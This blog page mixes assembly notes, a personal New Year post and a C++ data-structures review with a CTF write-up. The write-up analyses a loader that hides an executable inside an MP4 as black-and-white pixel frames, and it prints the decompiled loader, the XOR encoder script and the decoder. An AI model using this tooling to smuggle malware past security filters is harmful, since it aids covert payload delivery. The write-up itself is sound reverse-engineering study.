展开收起

9.7 局部变量#

和参数不一样，局部变量是顺序“入栈”的。局部变量的值不是 PUSH 入栈的，而是先在栈上用 ESP 预留空间，然后直接向预留的栈空间写入局部变量。比如，一个 C 函数：

1
void MySub()
2
{
3
  int X = 10;
4
  int Y = 20;
5
}

在 x86 汇编中呈现为：

1
MySub PROC
2
push ebp
3
mov  ebp,esp
4
sub  esp,8 ; reserve space for locals in stack
5
mov  dword PTR [ebp-4],10 ; X
6
mov  dword PTR [ebp-8],20 ; Y
7
mov  esp,ebp ; remove locals from stack
8
pop  ebp
9
ret
10
MySub ENDP

栈帧大致表现为：

MySub()的栈帧

注意此处由于只保存了 ebp 寄存器，而它又属于栈底，因此直接将 esp 移到 ebp 就好了。如果你还使用了其他寄存器，那么还请你手动清理，再移动。

LEAVE 指令等效于清理局部变量的那两条指令。

如果是一个数组呢？同样预留空间，但是预留的空间应该符合字节对齐，宜大不宜小。并且用 LEA (Load Effective Address) 指令获取地址。OFFSET 对栈上地址没有用：

1
makeArray PROC
2
  push ebp
3
  mov  ebp,esp
4
  sub  esp,32
5
  lea  esi,[ebp-30] ; load address of myString
6
  mov  ecx,30
7
  L1:
8
    mov BYTE PTR [esi],'*'
9
    inc esi
10
  loop L1
11
  add  esp,32 ; remove the array (restore ESP)
12
  pop  ebp
13
  ret
14
makeArray ENDP

同样有 ENTER 和 LEAVE 指令可以为我们预留局部变量的栈空间。

ENTER 会 push EBP、设置 EBP 和 ESP 相等并减少 ESP 以预留栈空间。它有两个操作数：numbytes, nestinglevel。numbytes 是你希望预留的字节数，nestinglevel 决定了从前一帧复制到新栈帧中的栈帧指针数量。

Note

nestinglevel 中的 nesting 指的是嵌套函数。在嵌套函数中，函数作用域是既包含又独立的。如果不将外层函数的帧复制到内层函数，那么万一内层函数需要外层函数的变量，就没处找了！

在这里，我们将 nestinglevel 固定为 0，只修改 numbytes。

LEAVE 没有操作数，它将 ESP 设置为和 EBP 相等并弹出 EBP 以恢复栈。

而 MASM 提供了一个 ENTER 的上位替代指令：LOCAL。它更接近我们使用的参数表：

1
LOCAL temp:DWORD, SwapFlag:BYTE ; Two locals var: temp and SwapFlag
2
LOCAL pArray:PTR WORD ; A pointer to a 16 bits integer
3
LOCAL TempArray[10]:DWORD ; An array of 10 DWORD

AP. CTF 中常见汇编知识#

Tip

Source: Quick Start：汇编语言 - Hello CTF 和 [调试逆向] 逆向基础笔记六汇编跳转和比较指令 - 52pojie

了解了一些基本的汇编指令后，下面我们来看看 CTF 中常见的一些指令：

loop 循环指令：

1
mov rax,0
2
mov rcx,236
3
s:
4
add rax,123
5
loop s
6
leave
7
ret

上面的指令执行的是对 123 累加 236 次，从以上代码中我们可以看到，rcx 寄存器保存的是循环次数，loop 指令每执行一次，rcx 的数值就会减少 1，当其数值减少到 0 时，loop 指令就会停止，继续执行下面的指令。

无条件跳转指令：

1
lable:
2
mov edx,0
3

4
jmp lable

无条件跳转指令为 jmp，其意思从字面上就可以看出来，只要是执行到 jmp 这里，无论什么情况，都会直接跳转到 lable 的代码块中继续往下执行指令。

条件跳转：

1
lable:
2
mov ebx,1
3

4
cmp ebx,0
5
je lable

以上代码将 ebx 的值与 0 对比，如果相等，则会跳转到 lable 处，条件跳转指令 je 代表相等则跳转，还有其他与之条件不一样的条件跳转指令，一般条件跳转指令是与 cmp、test 指令混在一起用的。以上代码也可以用 test 来写：

1
lable:
2
mov ebx,1
3

4
test ebx,0
5
jnz lable

test 是逻辑与指令，以上代表的即为 ebx&0，jnz 代表标志位为 0 就跳转，其实现效果与 cmp 相同。

下面是一些常见的条件跳转指令：

指令	英文全称	含义	判断标志位
`JE`, `JZ`	jump equal，jump zero	结果为零则跳转(相等时跳转)	ZF=1
`JNE`, `JNZ`	jump not equal，jump not zero	结果不为零则跳转(不相等时跳转)	ZF=0
`JS`	jump sign	结果为负则跳转	SF=1
`JNS`	jump not sign	结果为非负则跳转	SF=0
`JP`, `JPE`	jump parity，jump parity even	结果中1的个数为偶数则跳转	PF=1
`JNP`, `JPO`	jump not parity，jump parity odd	结果中1的个数为偶数则跳转	PF=0
`JO`	jump overflow	结果溢出了则跳转	OF=1
`JNO`	jump not overflow	结果没有溢出则跳转	OF=0
`JB`, `JNAE`	jump below，jump not above equal	小于则跳转 (无符号数)	CF=1
`JNB`, `JAE`	jump not below，jump above equal	大于等于则跳转 (无符号数)	CF=0
`JBE`, `JNA`	jump below equal，jump not above	小于等于则跳转 (无符号数)	CF=1 or ZF=1
`JNBE`, `JA`	jump not below equal，jump above	大于则跳转(无符号数)	CF=0 and ZF=0
`JL`, `JNGE`	jump less，jump not greater equal	小于则跳转 (有符号数)	SF≠ OF
`JNL`, `JGE`	jump not less，jump greater equal	大于等于则跳转 (有符号数)	SF=OF
`JLE`, `JNG`	jump less equal，jump not greater	小于等于则跳转 (有符号数)	ZF=1 or SF≠ OF
`JNLE`, `JG`	jump not less equal，jump greater	大于则跳转(有符号数)	ZF=0 and SF=OF

下面是一些常见的位运算指令：

AND：与运算，AND AX,BX 将 AX 与 BX 进行逻辑与运算，并将结果保存到 AX 寄存器中
OR：或运算，OR AX,BX 将 AX 与 BX 进行逻辑或运算，并将结果保存到 AX 寄存器中
XOR：异或运算，XOR AX,BX 将 AX 与 BX 进行异或运算，并将结果保存到 AX 寄存器中
NOT：取反操作，NOT CX 将 CX 进行取反，并将结果保存到 CX 寄存器中
TEST：逻辑与运算，TEST AX,BX 将 AX 与 BX 进行与运算，并设置标志位，结果不保存

函数传参：

在汇编中，我们有时候需要知道参数被保存在那个寄存器里，这里我列举一般情况：

通常函数的返回值保存在 ax 寄存器里，比如 eax，rax 等；函数的参数一般按顺序保存在 cx、dx、si 中，在 64 位汇编中，一般按 rcx, rdx, r8, r9, r10, r11, … 的顺序保存参数。

有时候根据函数调用约定以及编译器和平台的不同，这个储存规律也会发生改变，我们需要根据当时情况动态调整。

lea 地址加载：

其使用格式为 lea rdx,[my_var]，将 my_var 的地址而不是内容赋值给 rdx 寄存器。

xchg 数值交换指令：

其使用格式为 xchg ax,bx 将 ax 和 bx 的数值交换。

CCB 2026 Half-Final Guangzhou

Mon, 23 Mar 2026 20:25:51 GMT

杂记部分#

在广外的大学城校区比赛！体育场比 FZU 大太多了，而且貌似别的学校也有类似的规模的体育场所？！太羡慕了

被 Web 学长和 Pwn 队友带飞的一集，我这个 Re 手还是太 fw 了 QAQ

最终没有 AK 零食……

不过居然是一等奖！好欸！^-^

视频也可以含恶意代码吗

Thu, 19 Mar 2026 19:13:43 GMT

Note

本题为“中国高校智能机器人创意大赛产教融合赛道-软件系统安全赛”的 re1，可惜的是我在比赛期间没有解出。只能说恐怕离了 AI 我就啥也不是了哎 😔

1. 题目背景#

本题的参考项目应该是这个：Malicious-PixelCode。GitHub 提交记录显示是 25 年 11 月上传的，算是一个 Real World 题目了。

首先，计算机中的视频本质上仍是一串字节序列，只要是字节序列就会有程序可以读取。

你可以观看不依赖三方库和框架，直接操纵像素在 CPU 上跑 Shader | Tsoding，看看纯代码是如何生成简单图像和视频的。

像素代码 (Pixel Code) 是以可视化像素的形式表示二进制数据的技术。每个像素通过将可执行字节转换为结构化的彩色矩阵来编码原始文件的一小部分，数据可以存储、传输或嵌入图像或视频中而不暴露原始形式。

该技术常被用于研究数据混淆、隐蔽存储和非常规编码通道。通过将恶意软件转化为基于像素的表示形式，攻击者可能试图将其负载伪装成无害的多媒体内容。这些编码文件随后可以上传到合法平台，绕过传统的安全过滤器，向外界传达一种可信赖的假象。攻击者控制的加载器或解码器随后可以检索视频并重建原始恶意文件。

整体流程是这样的：

Pixel Code Workflow

编写攻击负载并构建为可执行文件
生成的可执行文件会通过专门设计用于将二进制数据转换为像素代码的基于 Python 的工具进行处理。该工具将可执行文件转换为可视化的 MP4 视频，二进制字节以像素值的形式嵌入帧中。
生成 Pixel Code MP4 文件后，会作为标准视频上传到视频平台。
编写 Python Stager 脚本以从视频中重建代码
将 Stager 脚本转换为编码序列（这里是先转成 EXE 再 Base64 一次），嵌入加载器代码
构建加载器

当目标机器下载并运行加载器后，加载器会自动从视频网站下载视频。然后加载器重建 Stager 脚本，Stager 脚本再从视频里重建攻击负载，最后攻击负载执行，实现攻击目的。

2. 题目分析#

本题给了两个文件：ELF 格式的 Loader 和 video.mp4。打开 video.mp4 的话会看到一系列条码在“滚动”。

加载 Loader 会发现附带调试信息，因此总体是比较清晰的：

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  __int64 v3; // rax
4
  __int64 v4; // rax
5
  __int64 v5; // rax
6
  int v6; // ebx
7
  __int64 v7; // rax
8
  const char *file; // rax
9
  _BYTE v10[9]; // [rsp+7h] [rbp-99h] BYREF
10
  _BYTE *v11; // [rsp+10h] [rbp-90h]
11
  _BYTE *v12; // [rsp+18h] [rbp-88h]
12
  __int64 videoFile[4]; // [rsp+20h] [rbp-80h] BYREF
13
  __int64 src[4]; // [rsp+40h] [rbp-60h] BYREF
14
  __int64 File[7]; // [rsp+60h] [rbp-40h] BYREF
15

16
  File[5] = __readfsqword(0x28u);
17
  *(_QWORD *)&v10[1] = v10;
18
  std::string::basic_string(videoFile, "video.mp4", v10);
19
  std::__new_allocator<char>::~__new_allocator(v10);
20
  if ( file_exists(videoFile) )
21
  {
22
    v11 = v10;
23
    std::string::basic_string(
24
      File,
25
      stager_pyc_base64,                        // "delete"
26
      v10);                                     // "delete"
27
    base64_decode(src, File);
28
    std::string::~string();
29
    std::__new_allocator<char>::~__new_allocator(v10);
30
    v12 = v10;
31
    std::string::basic_string(File, "stager.pyc", v10);
32
    std::__new_allocator<char>::~__new_allocator(v10);
33
    if ( (unsigned __int8)write_string_to_file((__int64)File, src) == 1 )
34
    {
35
      file = (const char *)std::string::c_str(File);
36
      chmod(file, 493u);
37
      run_python_script(File);
38
      v6 = 0;
39
    }
40
    else
41
    {
42
      v7 = std::operator<<<std::char_traits<char>>(&std::cerr, "创建 stager.pyc 失败");
43
      std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
44
      v6 = 1;
45
    }
46
    std::string::~string();
47
    std::string::~string();
48
  }
49
  else
50
  {
51
    v3 = std::operator<<<std::char_traits<char>>(&std::cerr, "错误：未找到视频文件 ");
52
    v4 = std::operator<<<char>(v3, videoFile);
53
    std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
54
    v5 = std::operator<<<std::char_traits<char>>(&std::cerr, "请确保 video.mp4 位于当前目录");
55
    std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
56
    v6 = 1;
57
  }
58
  std::string::~string();
59
  return v6;
60
}

展开收起

Loader 的逻辑是：

是

否

成功

失败

检查 video.mp4 是否存在

加载并解码脚本字节序列

抛出错误

将解码结果写入 stager.pyc

加权限，执行脚本

抛出错误

是

否

成功

失败

检查 video.mp4 是否存在

加载并解码脚本字节序列

抛出错误

将解码结果写入 stager.pyc

加权限，执行脚本

抛出错误

这里出题者将 Stager.pyc 的字节序列删除了，只留下 "delete"，但是查看 .data 段会发现攻击用的负载编码器的编码序列没有删除。将其 dump 下来并保存为 .pyc 文件，反编译得到：

1
from PIL import Image
2
import math
3
import os
4
import sys
5
import numpy as np
6
import imageio
7
from tqdm import tqdm
8

9
def file_to_video(input_file, width, height, pixel_size, fps, output_file = (640, 480, 8, 10, 'video.mp4')):
10
    if not os.path.isfile(input_file):
11
        return None
12
    file_size = None.path.getsize(input_file)
13
    binary_string = ''
14
    with None:
15
        f = open(input_file, 'rb')
16
        for chunk in None(None((lambda : f.read(1024)), b''), math.ceil(file_size / 1024), 'KB', '读取文件', **('iterable', 'total', 'unit', 'desc')):
17
            binary_string += ''.join((lambda .0: pass)(chunk))
18
    xor_key = '10101010'
19
    xor_binary_string = ''
20
    for i in range(0, len(binary_string), 8):
21
        chunk = binary_string[i:i + 8]
22
        if len(chunk) == 8:
23
            chunk_int = int(chunk, 2)
24
            key_int = int(xor_key, 2)
25
            xor_result = chunk_int ^ key_int
26
            xor_binary_string += f'''{xor_result:08b}'''
27
            continue
28
        xor_binary_string += chunk
29

30
    binary_string = xor_binary_string
31
    pixels_per_image = (width // pixel_size) * (height // pixel_size)
32
    num_images = math.ceil(len(binary_string) / pixels_per_image)
33
    frames = []
34
    for i in tqdm(range(num_images), '生成视频帧', **('desc',)):
35
        start = i * pixels_per_image
36
        bits = binary_string[start:start + pixels_per_image]
37
        if len(bits) < pixels_per_image:
38
            bits = bits + '0' * (pixels_per_image - len(bits))
39
        img = Image.new('RGB', (width, height), 'white', **('color',))
40
        for r in range(height // pixel_size):
41
            row_start = r * (width // pixel_size)
42
            row_end = (r + 1) * (width // pixel_size)
43
            row = bits[row_start:row_end]
44
            for c, bit in enumerate(row):
45
                color = (0, 0, 0) if bit == '1' else (255, 255, 255)
46
                x1 = c * pixel_size
47
                y1 = r * pixel_size
48
                img.paste(color, (x1, y1, x1 + pixel_size, y1 + pixel_size))
49

50

51
        frames.append(np.array(img))
52

53
    with imageio.get_writer(output_file, fps, 'libx264', **('fps', 'codec')) as writer:
54
        for frame in tqdm(frames, '写入视频帧', **('desc',)):
55
            writer.append_data(frame)
56

57
if __name__ == '__main__':
58
    input_path = 'payload'
59
    if os.path.exists(input_path):
60
        file_to_video(input_path)
61
    else:
62
        sys.exit(1)

展开收起

对照原始项目脚本，将原始项目脚本修改为：

1
from PIL import Image
2
import math, os
3
import numpy as np
4
from moviepy import ImageSequenceClip
5
from tqdm import tqdm
6

7
# tqdm 是进度条的库
8

9
def file_to_video(input_file, width=640, height=480, pixel_size=8, fps=10):
10
    if not os.path.isfile(input_file):
11
        print(f"Error: File '{input_file}' does not exist.")
12
        return
13

14
    file_size = os.path.getsize(input_file)
15
    binary_string = ""
16
    with open(input_file, "rb") as f:
17
        for chunk in tqdm(iterable=iter(lambda: f.read(1024), b""),
18
                         total=math.ceil(file_size/1024), unit="KB"):
19
            binary_string += "".join(f"{byte:08b}" for byte in chunk)
20

21
    xor_key = '10101010'
22
    xor_binary_string = ''
23
    for i in range(0, len(binary_string), 8):
24
        chunk = binary_string[i:i + 8]
25
        if len(chunk) == 8:
26
            chunk_int = int(chunk, 2)
27
            key_int = int(xor_key, 2)
28
            xor_result = chunk_int ^ key_int
29
            xor_binary_string += f'''{xor_result:08b}'''
30
            continue
31
        xor_binary_string += chunk
32
    binary_string = xor_binary_string
33

34
    pixels_per_image = (width // pixel_size) * (height // pixel_size)
35
    num_images = math.ceil(len(binary_string) / pixels_per_image)
36
    frames = []
37

38
    for i in tqdm(range(num_images), desc="Generating frames"):
39
        start = i * pixels_per_image
40
        bits = binary_string[start:start + pixels_per_image]
41
        img = Image.new('RGB', (width, height), color='white')
42

43
        if len(bits) < pixels_per_image:
44
            bits = bits + '0' * (pixels_per_image - len(bits))
45

46
        for r in range(height // pixel_size):
47
            row = bits[r * (width // pixel_size):(r + 1) * (width // pixel_size)]
48
            for c, bit in enumerate(row):
49
                color = (0, 0, 0) if bit == '1' else (255, 255, 255)
50
                x1, y1 = c * pixel_size, r * pixel_size
51
                img.paste(color, (x1, y1, x1 + pixel_size, y1 + pixel_size))
52

53
        frames.append(np.array(img))
54
        # print(frames)
55

56
    clip = ImageSequenceClip(frames, fps=fps)
57
    clip.write_videofile('video.mp4', fps=fps, codec='libx264')
58
    print("Video generated successfully: video.mp4")
59

60

61

62
if __name__ == "__main__":
63
    print("Convert file → video")
64
    path = input("Enter file path: ")
65
    file_to_video(path)

展开收起

脚本主要分成两部分：将程序转化成二进制流并作按位异或处理；将二进制流以 8bits 为一个单位，设定位置和颜色，最终生成一个 640 × 480 @ 10FPS 的 mp4 视频文件。

Info

我怎么发现这个 GitHub 项目的呢？我在解码 pyc 文件后，发现解码结果中间有一些合法的文件名，比如 Payload_To_PixelCode_video.py，于是我就拿到 Bing 上搜，一下就搜到了这个项目（

现在正向转换我们知道是怎么回事了，但逆过来呢？

背景项目提供了一个解码器：

1
import imageio
2
import numpy as np
3
import os
4

5
def frames_to_bits_auto(frames):
6
    bits_list = []
7
    for frame in frames:
8
        gray = np.mean(frame, axis=2)
9
        h, w = gray.shape
10
        pixel_size_h = max(1, h // 256)
11
        pixel_size_w = max(1, w // 256)
12
        pixel_size = min(pixel_size_h, pixel_size_w)
13
        h_blocks = h // pixel_size
14
        w_blocks = w // pixel_size
15
        cropped = gray[:h_blocks * pixel_size, :w_blocks * pixel_size]
16
        reshaped = cropped.reshape(h_blocks, pixel_size, w_blocks, pixel_size)
17
        block_means = reshaped.mean(axis=(1, 3))
18
        block_bits = (block_means < 128).astype(np.uint8)
19
        bits_list.append(block_bits.ravel())
20
    if not bits_list:
21
        return np.array([], dtype=np.uint8)
22
    return np.concatenate(bits_list)
23

24
def bits_to_file(bits, output_file):
25
    remainder = bits.size % 8
26
    if remainder:
27
        bits = bits[: bits.size - remainder]
28
    if bits.size == 0:
29
        return False
30
    packed = np.packbits(bits, bitorder='big')
31
    try:
32
        with open(output_file, 'wb') as f:
33
            f.write(packed.tobytes())
34
        return True
35
    except:
36
        return False
37

38
def video_to_exe(video_path, output_name="Final_Result"):
39
    if not os.path.exists(video_path):
40
        return False
41
    try:
42
        reader = imageio.get_reader(video_path, 'ffmpeg')
43
    except:
44
        return False
45

46
    frames = []
47
    try:
48
        for frame in reader:
49
            frames.append(frame)
50
    except:
51
        reader.close()
52
        return False
53
    reader.close()
54

55
    bits = frames_to_bits_auto(frames)
56
    return bits_to_file(bits, output_name)
57

58
if __name__ == "__main__":
59
    video_file = "Pixel_Code_Video.mp4"
60
    out_exe = "Final_Result"
61
    success = video_to_exe(video_file, out_exe)
62
    if success and os.path.exists(out_exe):
63
        try:
64
            print("Reconstruction Success.\n")
65
            # os.startfile(out_exe)
66
        except:
67
            print("Reconstruction Failed.\n")

展开收起

对比原项目提供的编码器，我们发现题目中编码器只修改了两点：一是程序字节转二进制流时的按位异或，二是二进制流数据不够时补 0。第二点在逆向时不需要关注，因此我们只需要确定这个异或操作应该出现在解码器的哪个位置。

从编码器来看，异或操作位于程序字节转成二进制流之后，那么编码器生成二进制流之后需要经过一次异或才是原始程序字节。逆异或操作位于 numpy 打包完成二进制流之后：

1
# ...
2

3
def undo_xor(data):
4
    return bytes([b ^ 0xAA for b in data]) # 0xAAh = 10101010b
5

6
def bits_to_file(bits, output_file):
7
    remainder = bits.size % 8
8
    if remainder:
9
        bits = bits[: bits.size - remainder]
10
    if bits.size == 0:
11
        return False
12
    packed = np.packbits(bits, bitorder='big')
13
    decoded = undo_xor(packed.tobytes())
14
    try:
15
        with open(output_file, 'wb') as f:
16
            f.write(decoded)
17
        return True
18
    except:
19
        return False
20

21
# ...

展开收起

执行修改后的脚本，得到 Final_Result。使用 IDA 反编译，查看 .rodata 段，得到“提示：每个 MD5 哈希对应一个 ASCII 字符，按顺序组合这些字符即可得到 flag。”以及 20 个 MD5 值。解密这些 MD5 值，得到 flag：

dart{2b1f8-3045e76c}

Hello,2026

Wed, 31 Dec 2025 22:31:49 GMT

封面来源：新华社你好，2026

和ROIS队友们联机Minecraft

Hi，这里是 Watermelonabc

不知不觉间，又来到 2026 年，我已经迎来人生的第 2 个 10 周年。再过三周，我的博客也将迎来建站的 1 周年（以 Git 提交时间计）

老实说，我现在的感受有点……暗淡？因为我实在没有什么认为值得说道的，也许是终于加入了 ROIS 团队，认识了一群可亲可爱的队友和学长？在 ROIS，我也实现了人生中第一次出省旅行（9th XCTF Finals，浙江宁波，比赛主要是学长在打哈 X^X）

但除了这些小浪花呢？每天仿佛是一样的过，上课、呆实验室、呆宿舍。上半年我还有闲情雅致出校游玩，但进入大二，工作日奉献给了教室，而周末则一头扎进实验室或者在宿舍赋闲，顶多去趟学生街，基本没出过校园范围。

讲真这样的生活确实有些单调，更可怕的是我已经没有能力为这无聊的生活增添些许色彩的平衡。

我追求完美，但这世界总有缺陷，因此经常会构建一种“完美”的自己，并陷入其中。我们常常将这种想象称为“白日梦”“中二病”。然而泡泡是脆弱的，现实并不会放任它膨胀，于是想象过后是落差的羞耻。有言道，“知耻而后勇”，但在我这里，很多时候往往是“知耻而后退”。于是，没有进一步的勇气，只好搁置那想象中的“理想自我”，最后腐烂。

这“完美”要命的点在于，人们总觉得干“正事”才会追求完美，但对于我而言，干“不那么正的事”同样要追求完美，故培养兴趣的时候，我总是“三分钟热度”，干柴烈火一番后认识到落差，便迅速冷却。换句话说，我好像没有一个认为值得拿出来谈论的所谓“兴趣爱好”。

由“完美”又引出“控制欲”，因为那想象中的“完美”自己是得心应手、掌控一切的。于是你会发现这会影响我生活的方方面面：我不希望别人中途打扰我的工作，也难以开口求助；我倾向于模拟经营类游戏，且会开 Trainer（单人情况下，联机还是要遵守服务器规则的）……一点点变量的引入都可能会导致自娱自乐的小框架的崩塌。（虽然这框架本就摇摇欲坠）

“你以后想干什么？”从家庭、学校到社会，我被持续地追问这个问题，然而，我竟不能给出一个令我自己信服的答案，每次都是敷衍了事。所以我到底是个什么东西呢？答案依然在风中飘 -^- 或许也是我无法设计出自己的兽设的原因吧，毕竟若如许多大大所说的“furry 是真实自我的展现”的话，那么当我自己被虚假的期望包裹时，又如何知晓那个“真实的自己”是个什么样子呢？

和一位Furry老师的合影，也是跨年夜唯一一张集邮🥲

多么可笑啊，明明自己为了和毛毛互动才搭地铁到宝龙，但真的见到 TA 们上毛的时候，却没有勇气上前拍照合影，只敢在一旁看着，但这倒显得我像个神必跟踪狂了。无论如何都无法完美啊。

总之，日子依然要一天天过下去……

2025福州大学算法与数据结构复习

Sun, 21 Dec 2025 21:02:31 GMT

LightSummary#

基础数据结构#

数组 (Array) 占据一块连续的内存，索引和遍历速度快 (O(1)O(1)O(1))，但其他操作就慢了（插入、删除的时间复杂度是 O(n)O(n)O(n)），大小也不能伸缩

动态数组 (Dynamic Array) 可以随着数据量的增加而扩展（但理论上不能缩小），C++ 的 vector<T> 实现了这个数据结构。但是插入和删除依然很慢。

Note

可以参照一般数组使用，因此在使用下标访问时，请确保 vector 已经分配内存。圆括号用于指定空间大小，如果需要追加数据，请使用 push_back() 方法。

链表 (linked List) 基于节点 (node) 组成，在内存中一般不连续，C++ 的 list<T> 实现了这个数据结构（双向链表）。链表可以在 O(1)O(1)O(1) 复杂度下实现插入和删除操作，但访问操作又退化到 O(n)O(n)O(n) 了，所以很多时候也挺慢 :(

1
struct Node
2
{
3
  int data;
4
  Node* pNext;
5
  Node* pPrev;
6
};

数组的下标只能是非负整数，而散列表 (Hash Table) 可以以任意标识访问元素，因为它是键值对 (key-value pair) 组成的。散列表的查询、插入和删除速度都很快 (理论上是 O(1)O(1)O(1))。C++ 的 unordered_map<T, P> 和 unordered_set<T> 实现了这个数据结构。两者的不同在于 map 有键值对，是标准的散列表；而 set 没有，更像数学中的“集合”概念（既然是集合，那么 set 中的元素都是不重复的）。

注意到“unordered”了吗？散列表是不能排序的

先考虑最简单的情况，仅用一个数组来实现哈希表。在哈希表中，我们将数组中的每个空位称为桶 (bucket)，每个桶可存储一个键值对。因此，查询操作就是找到 key 对应的桶，并在桶中获取 value。

如何基于 key 定位对应的桶呢？这是通过散列函数 (hash function) 实现的。换句话说，我们通过散列函数为每个 key 分配（唯一的）桶位。

1
size_t hash(int key)
2
{
3
  return key % n; // n 为桶的数量
4
}

散列函数本身也是有运行成本的！

使用上面的散列函数，我们很快遇到一个问题：有好几个 key 指向同一个桶位！我们称之为散列冲突 (Hash Collision)。

散列冲突的一个解决方法是链式地址 (separate chaining)。我们将冲突的键值对通过链表（有时也用 vector<T>）连接起来，输入 key 后先遍历桶，再遍历桶下的冲突链。

队列 (Queue) 和栈 (Stack) 都是关于 push（推入）和 pop（弹出）的数组/队列，区别在于队列是先进先出 (FIFO) 的，栈是后进先出 (LIFO) 的。C++ 分别用 queue<T> 和 stack<T> 实现

二叉树 (Binary Tree) 是一个树状数据结构，用于快速搜索、插入和删除。它经常作为散列表的替代，速度稍慢 (O(log⁡N)O(\log{N})O(logN))，但使用时是排序好的

堆 (Heap) 是一种二叉树的特例，用数组实现，常用于优先队列 (priority queue)

实践部分#

有些算法和数据结构可以直接用标准库的，毕竟这篇是“功利性质”的，就没有重复造轮子的必要了。

注意“数据保证 XX”，这说明我们不需要考虑判断输入的数据是否符合 XX 条件，因为已经保证它符合这个 XX 条件了（系统不会在酒吧里点炒饭的）

考 FZU DS 原题，分为栈、队列、排序、二叉搜索树以及图和路径

CPP “万能”文件头：<bits/stdc++.h>

下面是 DS 题目与配套的 AC 代码（感谢 LuminaryDawn 整理提供 :)）

另附 .pbs 文件，你可以导入小熊猫 C++ 实现本地自动判题：FZU DS.pbs

如果你想“背诵”，建议背关键算法的描述，除非你认为自己真的能像背课文那样把一行行代码背下来

实际考试为了降低难度，较简单题的分数是比较高的。注意 PTA 的补全提示很少，复习时不要依赖 IDE 的补全如果想通过，总分应该在 50 分以上

表#

亚克星上的军队#

★实验任务

亚克星上住着许多神奇的生物。其中有聪慧的人族、优雅的精灵、彪悍的野蛮猪、粗鲁的首任驻….有一天，住在湛蓝球上的恶魔们突破空间的封锁入侵这个美丽的星球。为了保卫共同的家园，亚克星各族不得不摒弃前嫌，组成联盟。为了更有利的反击恶魔们的入侵，他们建立了统一的军事指挥中心。在前期，指挥中心会不停的发布军队调动命令，可是，麻烦来了。为了更好的做出决策，指挥中心必须迅速了解己方的各地区的军事力量详情。你能否帮帮这些可怜的种族呢？

每个地区有一个编号（从 1 到 N），如果一个地区有军队的话，这些军队将组成一个军团。指挥中心将发布的命令如下：

U a b<将> b 地区军团的调到 a 地区，从而组成一个新的军团。为了便于管理，每次新加入的军队将按顺序加入到 a 军团后面。数据保证 a 与 b 不相同。

I a x<将一支人数为> x的军队调到 a 地区。为了便于管理，每次新加入的军队将加入到a军团前面。

D a x<将> a 地区中军队人数为x 的调走。若不存在，则不执行。

Q a：询问 a 地区的具体军事信息（即按顺序输出该军团中每个军队的人数）。

★数据输入

输入第一行为两个正整数 N ,M(2 <= N,M <= 1000)。

接下来 N 行，每行第一个数 K 表示该地区军队的个数 K(1<=K<=100)，接下来 K 个数,表示各个军队的人数信息(0<=a_i<2^31)。

接下来 M 行，每行一个操作。

★数据输出

对于每个询问操作，输出一行表示 a 地区具体军事信息，每两个数之间空格隔开，行末无空格。若 a 内无元素，输出-1。

1
#include <bits/stdc++.h>
2
using namespace std;
3
typedef long long ll;
4

5
int main() {
6
  // 基于流的 I/O 优化
7
  // std::cin.tie(nullptr); // 解除关联
8
  // std::ios::sync_with_stdio(false); // 关闭同步
9

10
  ll n,m; // n: 区域数；m: 操作数
11
  cin >> n >> m;
12

13
  vector<list<ll>> listt(n); // 存储各区域的军事信息
14

15
  for (ll i = 0; i < n; i++) {
16
    ll t;
17
    cin >> t; // t: 军队个数
18
    for (ll j = 0; j < t; j++) {
19
      ll temp;
20
      cin >> temp; // temp: 各军队人数
21
      listt[i].push_back(temp);
22
    }
23
  }
24

25
  for (ll i = 0; i < m; i++) {
26
    char type;
27
    cin >> type;
28

29
    if (type == 'U') {
30
      ll a,b;
31
      cin >> a >> b;
32
      a--;
33
      b--; // 编号从 1 到 N，减 1 和数组下标对齐
34
      listt[a].splice(listt[a].end(), listt[b]); // splice(a, b) 将 b 的内容转移到 this*，位置为 a
35
    }
36
    else if (type == 'I') {
37
      ll a,x;
38
      cin >> a >> x;
39
      a--;
40
      listt[a].push_front(x); // list 的向前插入
41
    }
42
    else if (type == 'D') {
43
      ll a,x;
44
      cin >> a >> x;
45
      a--;
46
      listt[a].remove(x); // remove() 移除符合特定条件的元素
47
    }
48
    else if (type == 'Q') {
49
      ll y;
50
      cin >> y;
51
      y--;
52

53
      if (listt[y].empty()) {
54
        cout << "-1\n";
55
      }
56
      else {
57
        bool first = true;
58
        for (auto j : listt[y]) {
59
          if (!first) cout << " ";
60
          cout << j;
61
          first = false;
62
        }
63
        cout << "\n";
64
      }
65
    }
66
  }
67

68
  return 0;
69
}

展开收起

洗盘子#

★实验任务

猪妈妈有很多小猪仔，每次吃完饭洗盘子是一个很大的问题。这天猪妈妈想出了一个方法。她让小猪们排成一队，从 2 开始给他们编号。每次排在最前面的不用洗盘子（假设它的编号是 i ），但是，排在它后面的第 i 只，2 i 只，3 i 只…的小猪要洗盘子。让排在最前面以及要洗盘子的小猪出队，然后重复上述过程。那些不用洗盘子的小猪被称为幸运猪（lucky pigs），把它们的编号从小到大排序，现在要问第 n 个幸运猪的编号是多少。

比如说一开始，在最前面的小猪编号是 2，那么它不用洗盘子，出队。在它后面的第 2 只小猪，就是编号为 4 的小猪要洗盘子，编号为 6, 8, 10…的小猪都要洗盘子，然后它们都出队。其中编号为 2 的小猪就是第一只幸运猪了。接下排在最前面的小猪编号是 3，它是幸运猪，出队。在它后面的第 3 只，就是编号为 9 的小猪要洗盘子，出队。以此类推。

★数据输入

输入第一行为 T ，代表接下去有 T 个询问， 0 < T <=300

接下去有 T 行，每行一个数 n ，0 < n <=3000

★数据输出

对于每个询问输出一行，为第 n 个幸运猪的编号。

1
#include <iostream>
2
#include <vector>
3

4
using namespace std;
5

6
int main() {
7
  int T;
8
  cin >> T;
9

10
  vector<int> luckyPigs;
11
  vector<int> pigs;
12

13
  for (int i = 2; i <= 100000; i++) {
14
    pigs.push_back(i); // 初始化猪仔编号向量
15
  }
16

17
  while (luckyPigs.size() < 3000 && !pigs.empty()) { // 限制求解规模
18
    int lucky = pigs[0]; // 每次排在最前面的不用洗盘子
19
    luckyPigs.push_back(lucky); // 编号推入 luckyPigs 向量
20

21
    vector<int> keep; // 没被叫去洗盘子
22

23
    for (int j = 1; j < pigs.size(); j++) {
24
      if ((j % lucky) != 0) {
25
        keep.push_back(pigs[j]);
26
      }
27
    }
28

29
    pigs = keep;
30
  }
31

32
  while (T--) {
33
    int n;
34
    cin >> n;
35
